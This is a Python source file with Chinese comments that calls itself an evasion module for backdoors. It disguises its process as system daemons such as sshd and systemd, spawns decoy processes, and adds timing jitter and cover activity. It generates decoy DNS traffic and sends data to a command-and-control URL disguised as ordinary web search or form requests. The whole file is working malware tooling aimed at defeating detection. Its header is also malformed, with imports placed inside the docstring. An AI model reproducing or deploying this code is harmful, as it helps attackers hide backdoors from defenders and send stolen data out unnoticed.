#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

动态行为规避模块
解决后门执行时的动态行为易被检测问题
实现进程伪装、行为隐藏、时序规避等功能
"""

import os
import sys
import time
import random
import subprocess
import threading
import signal
import psutil
import socket
from typing import Dict, List, Optional, Callable

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
from contextlib import contextmanager
import tempfile
import shutil

class ProcessMasquerader:
    """进程伪装器 - 伪装进程名和行为"""
    
    def __init__(self):
        self.legitimate_processes = [
            'systemd', 'kthreadd', 'ksoftirqd', 'migration', 'rcu_gp',
            'sshd', 'NetworkManager', 'systemd-logind', 'dbus-daemon',
            'chronyd', 'rsyslog', 'cron', 'systemd-udevd'
        ]
        self.original_argv = sys.argv.copy()
    
    def masquerade_as_system_process(self, process_name: str = None):
        """伪装为系统进程"""
        if not process_name:
            process_name = random.choice(self.legitimate_processes)
        
        # 修改进程名 (Linux特有)
        try:
            # 方法1: 修改argv[0]
            sys.argv[0] = "[{}]".format(process_name)
            
            # 方法2: 使用prctl (需要ctypes)
            try:
                import ctypes
                libc = ctypes.CDLL("libc.so.6")
                PR_SET_NAME = 15
                libc.prctl(PR_SET_NAME, process_name.encode(), 0, 0, 0)
            except:
                pass
            
            # 方法3: 修改/proc/self/comm (如果有权限)
            try:
                with open('/proc/self/comm', 'w') as f:
                    f.write(process_name[:15])  # 限制15字符
            except:
                pass
                
        except Exception as e:
            pass
    
    def create_decoy_processes(self, count: int = 3):
        """创建诱饵进程"""
        decoy_pids = []
        
        for _ in range(count):
            try:
                # 创建无害的子进程
                pid = os.fork()
                if pid == 0:  # 子进程
                    # 伪装进程名
                    process_name = random.choice(self.legitimate_processes)
                    self.masquerade_as_system_process(process_name)
                    
                    # 执行无害操作
                    while True:
                        time.sleep(random.randint(30, 300))
                        # 模拟系统进程行为
                        try:
                            os.listdir('/proc')
                        except:
                            pass
                else:  # 父进程
                    decoy_pids.append(pid)
            except:
                pass
        
        return decoy_pids
    
    def cleanup_decoy_processes(self, pids: List[int]):
        """清理诱饵进程"""
        for pid in pids:
            try:
                os.kill(pid, signal.SIGTERM)
                time.sleep(1)
                os.kill(pid, signal.SIGKILL)
            except:
                pass

class BehaviorCamouflage:
    """行为伪装器 - 隐藏恶意行为特征"""
    
    def __init__(self):
        self.normal_activities = [
            self._simulate_log_reading,
            self._simulate_system_check,
            self._simulate_network_test,
            self._simulate_file_maintenance
        ]
    
    @contextmanager
    def stealth_execution(self):
        """隐蔽执行上下文管理器"""
        # 执行前的伪装活动
        self._pre_execution_camouflage()
        
        try:
            yield
        finally:
            # 执行后的清理活动
            self._post_execution_camouflage()
    
    def _pre_execution_camouflage(self):
        """执行前伪装"""
        # 随机执行正常活动
        activity = random.choice(self.normal_activities)
        threading.Thread(target=activity, daemon=True).start()
        
        # 随机延时
        time.sleep(random.uniform(0.5, 2.0))
    
    def _post_execution_camouflage(self):
        """执行后伪装"""
        # 模拟正常结束活动
        time.sleep(random.uniform(0.2, 1.0))
        
        # 执行无害命令
        try:
            subprocess.run(['whoami'], capture_output=True, timeout=5)
        except:
            pass
    
    def _simulate_log_reading(self):
        """模拟日志读取"""
        log_files = ['/var/log/syslog', '/var/log/auth.log', '/var/log/kern.log']
        for log_file in log_files:
            try:
                if os.path.exists(log_file):
                    with open(log_file, 'r') as f:
                        # 读取最后几行
                        f.seek(0, 2)  # 移到文件末尾
                        file_size = f.tell()
                        f.seek(max(0, file_size - 1024))  # 读取最后1KB
                        f.read()
                    break
            except:
                continue
    
    def _simulate_system_check(self):
        """模拟系统检查"""
        commands = [
            ['ps', 'aux'],
            ['df', '-h'],
            ['free', '-m'],
            ['uptime']
        ]
        
        for cmd in commands:
            try:
                subprocess.run(cmd, capture_output=True, timeout=5)
                time.sleep(random.uniform(0.1, 0.5))
            except:
                continue
    
    def _simulate_network_test(self):
        """模拟网络测试"""
        try:
            # 测试本地连接
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            sock.connect(('127.0.0.1', 22))  # SSH端口
            sock.close()
        except:
            pass
    
    def _simulate_file_maintenance(self):
        """模拟文件维护"""
        temp_dir = tempfile.mkdtemp()
        try:
            # 创建临时文件
            temp_file = os.path.join(temp_dir, 'temp_check')
            with open(temp_file, 'w') as f:
                f.write('system check\n')
            
            # 读取文件
            with open(temp_file, 'r') as f:
                f.read()
            
            time.sleep(random.uniform(0.1, 0.3))
        except:
            pass
        finally:
            # 清理临时文件
            try:
                shutil.rmtree(temp_dir)
            except:
                pass

class TimingEvasion:
    """时序规避器 - 避免时间模式检测"""
    
    def __init__(self):
        self.last_execution_time = 0
        self.execution_intervals = []
        self.max_frequency = 3600  # 最大频率：1小时1次
        self.min_interval = 300    # 最小间隔：5分钟
    
    def should_execute(self) -> bool:
        """判断是否应该执行（基于时序分析）"""
        current_time = time.time()
        
        # 检查最小间隔
        if current_time - self.last_execution_time < self.min_interval:
            return False
        
        # 检查频率限制
        recent_executions = [t for t in self.execution_intervals 
                           if current_time - t < self.max_frequency]
        if len(recent_executions) >= 3:  # 1小时内不超过3次
            return False
        
        # 工作时间检查（避免在异常时间执行）
        hour = time.localtime().tm_hour
        if hour < 6 or hour > 22:  # 避免深夜执行
            return False
        
        return True
    
    def record_execution(self):
        """记录执行时间"""
        current_time = time.time()
        self.last_execution_time = current_time
        self.execution_intervals.append(current_time)
        
        # 清理旧记录
        cutoff_time = current_time - 86400  # 24小时前
        self.execution_intervals = [t for t in self.execution_intervals if t > cutoff_time]
    
    def get_next_execution_delay(self) -> float:
        """获取下次执行的延时"""
        base_delay = random.uniform(self.min_interval, self.min_interval * 2)
        
        # 添加随机抖动
        jitter = random.uniform(-0.2, 0.2) * base_delay
        
        return max(60, base_delay + jitter)  # 最少1分钟延时
    
    def wait_for_safe_time(self):
        """等待安全执行时间"""
        while not self.should_execute():
            delay = self.get_next_execution_delay()
            time.sleep(min(delay, 300))  # 最多等待5分钟后重新检查

class SystemCallEvasion:
    """系统调用规避器 - 减少可疑系统调用"""
    
    def __init__(self):
        self.suspicious_calls = {
            'chmod': self._safe_chmod,
            'chown': self._safe_chown,
            'mount': self._safe_mount,
            'ptrace': self._safe_ptrace
        }
    
    def execute_with_evasion(self, func: Callable, *args, **kwargs):
        """使用规避技术执行函数"""
        # 分散执行时间
        self._scatter_execution()
        
        # 执行目标函数
        result = func(*args, **kwargs)
        
        # 执行掩护操作
        self._cover_operations()
        
        return result
    
    def _scatter_execution(self):
        """分散执行时间"""
        # 随机延时
        delay = random.uniform(0.1, 1.0)
        time.sleep(delay)
        
        # 执行无害系统调用
        try:
            os.getpid()
            os.getcwd()
            time.time()
        except:
            pass
    
    def _cover_operations(self):
        """掩护操作"""
        # 执行正常的系统调用
        try:
            os.listdir('/tmp')
            os.stat('/etc/passwd')
            subprocess.run(['id'], capture_output=True, timeout=2)
        except:
            pass
    
    def _safe_chmod(self, path: str, mode: int):
        """安全的chmod操作"""
        try:
            # 先检查文件是否存在
            if not os.path.exists(path):
                return False
            
            # 分步执行权限修改
            current_stat = os.stat(path)
            if current_stat.st_mode & 0o777 != mode:
                os.chmod(path, mode)
            
            return True
        except:
            return False
    
    def _safe_chown(self, path: str, uid: int, gid: int):
        """安全的chown操作"""
        try:
            if not os.path.exists(path):
                return False
            
            current_stat = os.stat(path)
            if current_stat.st_uid != uid or current_stat.st_gid != gid:
                os.chown(path, uid, gid)
            
            return True
        except:
            return False
    
    def _safe_mount(self, source: str, target: str, fstype: str = None):
        """安全的mount操作（通过subprocess）"""
        try:
            cmd = ['mount']
            if fstype:
                cmd.extend(['-t', fstype])
            cmd.extend([source, target])
            
            result = subprocess.run(cmd, capture_output=True, timeout=10)
            return result.returncode == 0
        except:
            return False
    
    def _safe_ptrace(self, *args):
        """安全的ptrace操作（避免使用）"""
        # 避免使用ptrace，使用替代方案
        return False

class NetworkEvasion:
    """网络行为规避器"""
    
    def __init__(self):
        self.legitimate_domains = [
            'google.com', 'microsoft.com', 'ubuntu.com', 'debian.org',
            'redhat.com', 'kernel.org', 'github.com', 'stackoverflow.com'
        ]
        self.user_agents = [
            'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
            'curl/7.68.0', 'wget/1.20.3', 'Python-urllib/3.8'
        ]
    
    def create_noise_traffic(self, duration: int = 60):
        """创建噪音流量"""
        def generate_noise():
            end_time = time.time() + duration
            while time.time() < end_time:
                try:
                    # 随机访问合法域名
                    domain = random.choice(self.legitimate_domains)
                    
                    # 模拟DNS查询
                    socket.gethostbyname(domain)
                    
                    # 随机延时
                    time.sleep(random.uniform(5, 30))
                except:
                    pass
        
        # 在后台线程中生成噪音
        threading.Thread(target=generate_noise, daemon=True).start()
    
    def disguise_c2_traffic(self, c2_url: str, data: str) -> bool:
        """伪装C2通信流量"""
        try:
            import urllib.request
            import urllib.parse
            
            # 添加正常的HTTP头
            headers = {
                'User-Agent': random.choice(self.user_agents),
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language': 'en-US,en;q=0.5',
                'Accept-Encoding': 'gzip, deflate',
                'Connection': 'keep-alive',
                'Upgrade-Insecure-Requests': '1'
            }
            
            # 伪装为正常请求
            if random.choice([True, False]):
                # 伪装为搜索请求
                params = {'q': data, 'source': 'web'}
                url = "{}?{}".format(c2_url, urllib.parse.urlencode(params))
                req = urllib.request.Request(url, headers=headers)
            else:
                # 伪装为POST表单
                post_data = urllib.parse.urlencode({'content': data}).encode()
                req = urllib.request.Request(c2_url, data=post_data, headers=headers)
            
            # 发送请求
            with urllib.request.urlopen(req, timeout=10) as response:
                return response.status == 200
                
        except Exception as e:
            return False

class DynamicEvasionManager:
    """动态规避管理器 - 统一管理所有动态规避技术"""
    
    def __init__(self):
        self.process_masquerader = ProcessMasquerader()
        self.behavior_camouflage = BehaviorCamouflage()
        self.timing_evasion = TimingEvasion()
        self.syscall_evasion = SystemCallEvasion()
        self.network_evasion = NetworkEvasion()
        self.decoy_pids = []
    
    def initialize_evasion(self):
        """初始化规避机制"""
        # 进程伪装
        self.process_masquerader.masquerade_as_system_process()
        
        # 创建诱饵进程
        self.decoy_pids = self.process_masquerader.create_decoy_processes()
        
        # 启动噪音流量
        self.network_evasion.create_noise_traffic(300)  # 5分钟噪音
    
    def execute_with_full_evasion(self, func: Callable, *args, **kwargs):
        """使用完整规避技术执行函数"""
        # 时序检查
        if not self.timing_evasion.should_execute():
            self.timing_evasion.wait_for_safe_time()
        
        # 记录执行时间
        self.timing_evasion.record_execution()
        
        # 使用行为伪装执行
        with self.behavior_camouflage.stealth_execution():
            result = self.syscall_evasion.execute_with_evasion(func, *args, **kwargs)
        
        return result
    
    def cleanup_evasion(self):
        """清理规避机制"""
        # 清理诱饵进程
        self.process_masquerader.cleanup_decoy_processes(self.decoy_pids)
        
        # 恢复原始进程名
        try:
            sys.argv = self.process_masquerader.original_argv
        except:
            pass

# 使用示例
def demo_dynamic_evasion():
    """演示动态规避功能"""
    manager = DynamicEvasionManager()
    
    try:
        # 初始化规避
        manager.initialize_evasion()
        
        # 定义要执行的恶意函数
        def malicious_operation():
            print("执行敏感操作...")
            time.sleep(2)
            return "操作完成"
        
        # 使用完整规避执行
        result = manager.execute_with_full_evasion(malicious_operation)
        print("执行结果: {}".format(result))
        
    finally:
        # 清理规避机制
        manager.cleanup_evasion()

if __name__ == "__main__":
    demo_dynamic_evasion()